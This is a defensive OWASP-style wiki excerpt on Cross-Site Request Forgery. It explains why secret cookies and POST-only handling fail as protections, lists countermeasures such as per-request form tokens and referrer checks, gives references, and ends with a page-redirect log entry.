==Prevention measures that do '''NOT''' work==

;Using a secret cookie
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

;Only accepting POST requests
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request. The two most common methods are through the use of phishing sites (sites which appear to look like another valid site) and through the use of XMLHTTPRequest in a Cross-Site Scripting attack.

==Related Threats==

[[:Category:Client-side Attacks]]

==Related Attacks==

[[XSS]]

==Related Vulnerabilities==

==Related Countermeasures==

* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as "form keys". Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection "built-in" to every form so the programmer does not need to code this protection manually.
* TBD: Add a per-session nonce to URL and all forms
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms
* TBD: .NET - add session identifier to ViewState with MAC
* Checking HTTP referrer details can help mitigate the attack but does certainly not provide a bullet proof solution. By ensuring the HTTP posts have come from the original site means that the attacks from other sites will not function. However, if the CSRF attack was used in combination with XSS on the original site then this mechanism will not provide any protection.
* "Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session." -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1

==References==
; [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]
: ''quote: "This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered."''

; [[Testing for CSRF]]
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)

; [http://www.darkreading.com/document.asp?doc_id=107651&WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']
: Overview Paper

; [http://www.owasp.org/index.php/Image:OWASPAppSecEU2006_RequestRodeo.ppt RequestRodeo: Client Side Protection against Session Riding]
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]

; [http://www.owasp.org/index.php/CSRF_Guard CSRF Guard]
: A J2EE Filter which appends a unique request token to each form and link in the HTML response

[[Category:Attack]]
[[Category:Exploitation of Authentication]]

Cross-Site Request Forgery

2008-06-03T15:33:12Z

Thiagoalz: Cross-Site Request Forgery moved to Cross-Site Request Forgery (CSRF) over redirect: Changing the title

#REDIRECT [[Cross-Site Request Forgery (CSRF)]]